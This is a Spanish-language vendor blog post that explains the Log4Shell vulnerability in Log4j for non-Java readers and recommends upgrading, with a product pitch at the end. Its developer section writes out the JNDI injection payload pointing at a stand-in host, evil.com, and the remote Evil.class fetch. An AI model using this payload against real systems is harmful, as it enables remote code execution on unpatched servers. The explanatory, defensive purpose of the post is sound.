Log4Shell en pocas palabras (para quienes no son desarrolladores ni desarrollan en Java)
15 de diciembre de 2021
0 minutos de lecturaNota del editor (28 de diciembre de 2021, 7:35 p. m. GMT): El equipo de Log4j publicó una nueva actualización de seguridad y descubrió que la versión 2.17.0 era vulnerable a la ejecución remota de código, identificada como CVE-2021-44832. Recomendamos actualizar a la versión más reciente, que al momento de escribir esto es la 2.17.1.
Nota del editor (18 de diciembre de 2021, 6:55 p. m. GMT): La situación de Log4j cambia rápidamente y actualizamos nuestras publicaciones a medida que hay nueva información disponible. Te recomendamos actualizar a la versión 2.17.1 o una posterior. Esta versión incluye correcciones de seguridad para dos vulnerabilidades de ejecución remota de código, corregidas en 2.15.0 (CVE-2021-44228) y 2.16.0 (CVE-2021-45046), además de la vulnerabilidad de denegación de servicio más reciente, corregida en la versión 2.17.1 (CVE-2021-45105). Obtén más información aquí.
Si trabajas en tecnología, seguramente ya escuchaste hablar del exploit Log4Shell, que está por todas partes en Internet. Si no desarrollas en Java (o no eres desarrollador), quizá te preguntes qué está pasando.
Esta publicación se divide en dos partes: una explicación de Log4Shell para quienes no son desarrolladores y una descripción general de la vulnerabilidad Log4Shell para quienes no desarrollan en Java.
Descripción general de Log4Shell para quienes no son desarrolladores
¿Sabes que cuando visitas un sitio web en tu navegador ves las imágenes del sitio? Quizá no sepas que el navegador sigue dos pasos para mostrar una imagen. Primero, obtiene la página HTML, como esta: https://snyk.io. En esa página HTML hay referencias a imágenes, como esta:
Luego, el navegador hace una solicitud nueva para obtener la imagen.

¿Qué tiene que ver esto con el exploit Log4Shell?
Log4j es una biblioteca de Java muy utilizada para escribir información en archivos de registro. Por lo general, esta información incluye la hora de ciertos eventos o mensajes de error cuando algo falla.
Existe otra tecnología de Java que puede hacer referencia a URL remotas, de forma similar a cómo tu navegador puede obtener imágenes desde una URL. Se puede engañar a Log4j para que obtenga un recurso desde una URL remota. Pero no se trata de una imagen, sino de otro fragmento de código Java compilado.
Ese código Java compilado puede hacer todo tipo de cosas maliciosas, como ejecutar otros programas en la máquina objetivo. Esto se conoce como una vulnerabilidad de ejecución remota de código (RCE) y es el tipo de vulnerabilidad más grave.
Puedes seguir leyendo si te interesa conocer el mecanismo del exploit Log4Shell. O ve al final para consultar recursos que te ayudarán a detectar y corregir Log4Shell.
Análisis detallado de Log4Shell para desarrolladores
Hablemos del mecanismo interno de Java que hace que este exploit sea tan grave. Vamos a entrar en detalles, así que puedes ir directamente a la sección sobre cómo ayudar a tu organización a enfrentar Log4Shell.
Los fundamentos de Log4Shell existen desde al menos 2016. Aquí tienes un enlace a una presentación de la conferencia Black Hat sobre la ejecución remota de código en Java. Lo sorprendente es que en esa presentación ya se mencionan dos de los tres componentes de Log4Shell. A continuación veremos estos componentes y cómo se combinan para que Log4Shell funcione.
Un vistazo a los componentes de Log4Shell
¡Te dije que en esta sección entraríamos en detalles!
Gran parte de lo que hace que Java sea tan bueno (y a veces confuso para quienes recién empiezan) son las «capas de abstracción». Por ejemplo, un desarrollador puede escribir código que se comunica con una base de datos, pero no queda ligado al servidor de base de datos de un proveedor específico. Así, quizá use MySQL durante las pruebas locales, pero cuando lo implemento en producción, mi empresa usa PostgreSQL. No tengo que cambiar ni una línea de código gracias a la capa de abstracción de la base de datos.
Las «páginas amarillas» de Java: JNDI
La interfaz de nombres y directorios de Java (JNDI) es una capa de abstracción que permite que el código Java interactúe con distintos tipos de directorios. Por ejemplo, el servicio de nombres de dominio (DNS) es un tipo de directorio que permite buscar nombres de dominio. El protocolo ligero de acceso a directorios (LDAP) se usa en servidores de directorio para proporcionar información sobre organizaciones, personas y otros recursos, como dispositivos de una red (en él se basa Microsoft Active Directory).
LDAP no solo sirve para texto
Además de información de texto, LDAP puede almacenar objetos Java serializados.
Los objetos Java serializados son representaciones potentes (y potencialmente peligrosas) del código Java. En pocas palabras, son como código congelado que se puede almacenar y descongelar más adelante. Tienen muchos usos legítimos, pero en este caso forman parte del mecanismo que hace posible Log4Shell. Recuerda esto por ahora; pronto todo cobrará sentido.
Cómo JNDI, LDAP y Log4J se combinan para causar problemas
Hasta hace poco, Log4J permitía referencias JNDI, que resolvía automáticamente en nombre de la aplicación. Independientemente de que este mecanismo tenga o no un uso legítimo, la versión más reciente de Log4J (2.16.0 al momento de escribir esto) eliminó por completo esta funcionalidad. Esto significa que, si actualizas Log4J a la versión 2.16.0, estarás protegido contra el exploit Log4Shell.
¿Cómo funciona todo esto en conjunto? Imagina un mensaje de registro como este:
No te preocupes si este código no te resulta familiar. Estos son los puntos importantes:
Las versiones anteriores de Log4J tomaban la cadena:
${jndi:ldap://evil.com:9999/Evil}y la interpretaban como una referencia JNDI LDAP, en este caso, a un servidor malicioso.La pila JNDI de Java envía una solicitud LDAP a
evil.comy busca/EvilEl servidor LDAP de
Evil.comcrea una respuesta que incluye una referencia remota a un objeto Java serializado. Algo como:http://evil.com:8000/Evil.classEsto desencadena otra solicitud al servidor HTTP de
evil.com, como cuando tu navegador obtiene una imagen. Se recuperaEvil.classy se descarga como una carga útil binaria, que luego se convierte en un objeto Java mediante el proceso de deserialización.Luego se ejecuta el objeto Java reconstruido. En ese momento, se puede ejecutar cualquier código en la máquina desprevenida.
Para recalcar este último punto, echa un vistazo a este ejemplo de código:
Una vez más, no te preocupes si el código te resulta desconocido. Lo importante es que la llamada exec de Java ejecuta un comando _fuera_de Java. En este caso, escribe en un archivo de un directorio temporal. Pero podría ser un comando que borre todo el disco duro o que envíe un archivo confidencial a otro destino malicioso.
¿Qué explicación estaría completa sin un diagrama mal dibujado? Así funciona Log4Shell, en pocas palabras:

Aunque no entiendas del todo qué está pasando, puedes ver que ese mensaje de registro que parece inofensivo desencadena bastante actividad de red.
Pasa de cero a experto en Log4Shell
Una forma sencilla de proteger tus sistemas es analizarlos con Snyk. Snyk puede detectar Log4Shell y crear automáticamente solicitudes de incorporación de cambios (PR) para corregirlo. Además, si activas la supervisión, Snyk te avisará cuando tus dependencias (y las dependencias de estas) se actualicen y sean seguras. Crea hoy una cuenta gratuita de Snyk.
También recopilamos una lista de excelentes recursos para ayudar a tu empresa a enfrentar el exploit Log4Shell.
¿Quieres aprender aún más sobre Log4Shell? Consulta estos recursos:



